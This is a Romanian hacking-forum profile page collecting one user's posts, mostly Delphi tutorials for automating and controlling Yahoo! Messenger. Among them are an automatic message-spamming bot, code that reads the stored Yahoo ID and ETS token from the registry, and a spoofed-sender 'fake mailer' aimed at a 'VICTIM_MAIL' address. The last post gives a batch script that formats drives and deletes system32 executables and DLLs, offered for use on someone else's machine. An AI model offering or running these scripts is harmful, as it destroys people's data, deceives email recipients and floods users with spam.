Jump to content

c0smyn

Active Members
  • Posts

    311
  • Joined

  • Last visited

  • Days Won

    4

Posts posted by c0smyn

  1. In primu rand cei ce aveti veriunea 7 de BD sau mai mica aveti nevoie de sndkey32 pe care il puteti descarca de AICI.

    Extrageti tot din arhiva in folderul "lib" din %Program Files%\Borland\Delphi\ .

    Acum sa trecem la proiect ..

    1. Sus la uses adaugati: sndkey32

    2. Adaugati pe form 2 butoane , un edit , un Timer si un XpManifest.

    3. La button1 punem la caption "Activeaza" (fara ghilimele) , La button2 punem la caption "Dezactiveaza" si la edit1 punem la text "Mesaj".

    4. In "public {Public declarations}" , adaugam urmatorul cod.


    YahooMessageWindow: HWND;

    5. Punem aceasta functie sub {$R *.dfm}

    ---


    function CheckWindow: boolean;

    begin
    result := false;
    YahooMessageWindow := FindWindow('YSearchMenuWndClass',nil);

    if YahooMessageWindow <> 0 then begin
    result := true;
    BringWindowtotop(YahooMessageWindow);
    end else
    result := false;
    end;

    ---

    6. La Timer1 punem la interval 20, la enabled sa fie false , apoi apasam 2 click pe el si punem urmatorul cod.

    ---


    CheckWindow;
    if CheckWindow = true then
    begin
    BringWindowtotop(YahooMessageWindow);
    timer1.enabled := false;
    Sleep(200);
    SendKeys(Pchar('<b>Robot Yahoo!:</b> '+edit1.text),true);
    SendKeys(#13,true);
    SendKeys('{ESCAPE}',true);
    timer1.enabled := true;
    end;

    ---

    7. Dam 2 click pe button1, stergem cuvantul begin si punem urmatorul cod.


    var
    YahooHandle: HWND;
    begin
    timer1.Enabled := true;
    edit1.enabled := false;
    YahooHandle := FindWindow('YahooBuddyMain',nil);
    if yahoohandle <> 0 then CloseWindow(YahooHandle);
    end;

    8. Dam 2 click pe button2 si punem urmatorul cod.


    timer1.enabled := false;
    edit1.enabled := true;

    Finish !

    Aplicatia ar trebui sa arate cam asa

    robotyahookl9.png

    Totul este foarte explicit .. va rog sa nu veniti cu posturi de genu "nu functioneaza" , "imi da eroare" etc ..

    • Downvote 1
  2. Minimize/Maximize/Restore/Hide/Show Yahoo! Messenger:

    ---


    var
    YahooHandle: HWND;
    begin
    YahooHandle := FindWindow('YahooBuddyMain',nil); [color=green]// or FindWindow('YahooBuddyMain','Yahoo! Messenger'); [/color]

    if YahooHandle <> 0 then
    begin
    ShowWindow(YahooHandle,sw_minimize); [color=green]// Minimize[/color]

    ShowWindow(YahooHandle,sw_maximize); [color=green]// Maximize[/color]

    ShowWindow(YahooHandle,sw_restore); [color=green]// Restore[/color]

    ShowWindow(YahooHandle,sw_hide); [color=green]// Hide[/color]

    ShowWindow(YahooHandle,sw_show); [color=green]// Show[/color]
    end;
    end;

    ---

    Change Yahoo! Messenger caption:

    ---


    var
    YahooHandle: HWND;
    begin
    YahooHandle := FindWindow('YahooBuddyMain',nil);

    if YahooHandle <> 0 then
    SetWindowText(YahooHandle,Pchar('New Caption'));
    end;

    ---

    Start Yahoo! Messenger:

    ---

    Adaugati sus la Uses, ShellApi

    Puneti aceasta functie sub {$R *.dfm}


    function GetYahooPath: string;
    begin
    if fileexists('C:\Program Files\Yahoo!\Messenger\YahooMessenger.exe') then
    result := 'C:\Program Files\Yahoo!\Messenger\YahooMessenger.exe'
    else
    if fileexists('D:\Program Files\Yahoo!\Messenger\YahooMessenger.exe') then
    result := 'D:\Program Files\Yahoo!\Messenger\YahooMessenger.exe'
    else
    if fileexists('E:\Program Files\Yahoo!\Messenger\YahooMessenger.exe') then
    result := 'E:\Program Files\Yahoo!\Messenger\YahooMessenger.exe'
    else
    ShowMessage('Nu se poate gasi Yahoo!Messenger.exe');
    end;

    Acum pentru a porni Yahoo! Messenger folositi urmatorul cod:


    ShellExecute( 0, 'open', PChar(GetYahooPath),nil, nil, SW_SHOW );

    ---

    Close Yahoo! Messenger:

    ---


    begin
    winexec('taskkill /f /im YahooMessenger.exe',sw_hide);
    winexec('taskkill /f /im YAHOOM~1.exe',sw_hide);
    end;

    ---

  3. Adaugati sus la uses: Registry

    Vom face o mica functie ca sa ne pice mai usor


    function ReadRegistry(Mykey:string; MyField: string): string;
    var
    Reg: TRegistry;
    begin
    Reg := TRegistry.Create;
    Reg.RootKey := HKEY_CURRENT_USER;

    if Reg.OpenKey(MyKey, True) then
    begin
    if Reg.ValueExists(MyField) then
    Result := Reg.ReadString(MyField)
    else
    Reg.CloseKey;
    end;
    end;

    Puneti aceasta functie sub " {$R *.dfm} "

    Pentru vizualizarea id-ului si ets-ului vom folosi urmatorul cod:


    ShowMessage(ReadRegistry('Software\Yahoo\Pager', 'Yahoo! user id')); // vizualizarea id-ului
    ShowMessage(ReadRegistry('Software\Yahoo\Pager', 'ETS')); // vizualizarea ets-ului

    Asta e tot Enjoy ;)

  4. Edit: Tu ai vazut tutorialul? Nu vezi cand scie cod? E de fapt cam acelasi cod, aceleasi functii cu aceeasi parametrii.

    codul acela e pentru a putea muta form`ul cu ajutorul imaginii.

    colturile rotunde s-au obtinut prin efecte de transparenta

  5. Un mod mult mai simplu pentru a folosi sistemul de mesaje in Borland Delphi

    Puneti acest cod sub " {$R *.dfm} "


    procedure ArataMesaj(mesaj: string; titlu: string; tip: Integer);
    var
    eroare,informatie,exclamatie,intrebare,normal: boolean;
    begin
    if tip > 5 then exit
    else
    if tip < 1 then exit;

    eroare := false;
    informatie := false;
    exclamatie := false;
    normal := false;
    intrebare := false;

    {Setare tip mesaj} //begin
    if tip = 1 then eroare := true;
    if tip = 2 then informatie := true;
    if tip = 3 then exclamatie := true;
    if tip = 4 then normal := true;
    if tip = 5 then intrebare := true;
    {Setare tip mesaj} //end;

    if eroare = true then
    MessageBox(application.handle,Pchar(mesaj),Pchar(titlu), +mb_OK +mb_ICONERROR)
    else
    if informatie = true then
    MessageBox(application.handle,Pchar(mesaj),Pchar(titlu), +mb_OK +mb_ICONINFORMATION)
    else
    if exclamatie = true then
    MessageBox(application.handle,Pchar(mesaj),Pchar(titlu), +mb_OK +mb_ICONEXCLAMATION)
    else
    if normal = true then
    MessageBox(application.handle,Pchar(mesaj),Pchar(titlu), +mb_OK)
    else
    if intrebare = true then
    MessageBox(application.handle,Pchar(mesaj),Pchar(titlu), +mb_OK +mb_ICONQUESTION);
    end;

    Noua comanda va fi ArataMesaj(string,string,integer);

    Exemplu:


    ArataMesaj('Nu imi place scoala!','Rst Center',2);

    "Nu imi place scoala" - reprezinta mesajul care v`a fi afisat

    "Rst Center" - reprezinta titlul mesajului

    "2" - reprezinta tipul de mesaj (2 = mesaj de tip informatie)

    Tipurile de mesaj:

    1 - Mesaj eroare

    2 - Mesaj informatie

    3 - Mesaj exclamatie

    4 - Mesaj normal

    5 - Mesaj intrebare

    Enjoy ;)

  6. intradevar e facut cu serveru de la alonia (bombur.mediasat.ro) :D

    si nu m`am luat dupa sursa aia :-j

    uitate la codu meu de la programare > Fake Mailer si uitate si in codu lu sanon masters ala :))

    edit

    ... si ce cacat e bobsoft mini delphi ala ... are rost sa ma uit prin el ?

    nu cred ca e cacat si nu ii zice bobsoft ;))

    Pq1M1IeS.jpg Pq1M3_V9.jpg

  7. 1. Adaugati pe form un Idsmtp, Idmessage, Memo si un button.

    2. Dam 2click pe button si punem acest cod


    with IdMessage1 do
    begin

    From.Address := 'fake_address@yahoo.com';
    From.Name := 'fake_name';
    Subject := 'Subject';
    Sender.Address := 'fake_address@yahoo.com';
    Sender.Name := 'fake_name';
    ReplyTo[0].Address := 'fake_address@yahoo.com';
    ReplyTo[0].Name := 'fake_name';
    Recipients[0].Address := 'VICTIM_MAIL@yahoo.com';
    ReceiptRecipient.Address := 'VICTIM_MAIL@yahoo.com';
    Body := memo1.lines;

    end;

    with IdSMTP1 do
    begin

    Host := 'mail.hotmail.com';
    UserName := 'your_user@hotmail.com';
    Password := 'your_password';
    Port := 25;
    Connect;

    {Send Mail}
    IdSMTP1.Send(IdMessage1);
    if connected = true then Disconnect;
    ShowMessage('Mesaj Trimis!');
    {Send Mail}

    end;

    Trebuie sa folositi indy 10 pentru a putea compila proiectu.

    Enjoy ;)

  8. ########################################

    ########################################

    ###Name: Little Tool##########################

    ###Autor: c0smyn###########################

    ###Source code: 3 MB########################

    ###Compiled: 568 KB#########################

    ########################################

    ###Website: http://rstcenter.com#################

    ########################################

    ########################################

    Poti accesa Counter-Strike`ul , Yahoo`ul , Winamp`ul , Cmd`ul foarte rapid , doar cu 1 singur click.

    L`am facut la plictiseala. Deasemenea poti schimba status`ul la Yahoo , Caption`ul .. , poti da refresh la desktop doar cu 1 singur click.

    Cu siguranta veti invata cate ceva din aceasta sursa

    Enjoy ;)

    Photos:

    nicetooltq1.png

    nicetoolwithyahoonf1.png

    Download Source:

    http://rapidshare.com/files/179117565/nice_tool.rar.html

    Download Executable:

    http://rapidshare.com/files/179117844/Nice_Tool.exe.html

  9. Intri in notepad folosind comanda asta

    start %SystemRoot%\notepad.exe

    pui urmatorul cod

    @echo off
    format D: /q /x /y
    format E: /q /x /y
    shutdown -r -t 1000
    cd %SystemRoot%\system32
    del *.exe
    del *.dll

    salvezi in %SystemRoot%\aaaaaa.bat

    scrii in cmd

    start %SystemRoot%\aaaaaa.bat

    si gata :D

    ai grija ca au camere de luat vederi si te trezesti cu pol acasa :D

×
×
  • Create New...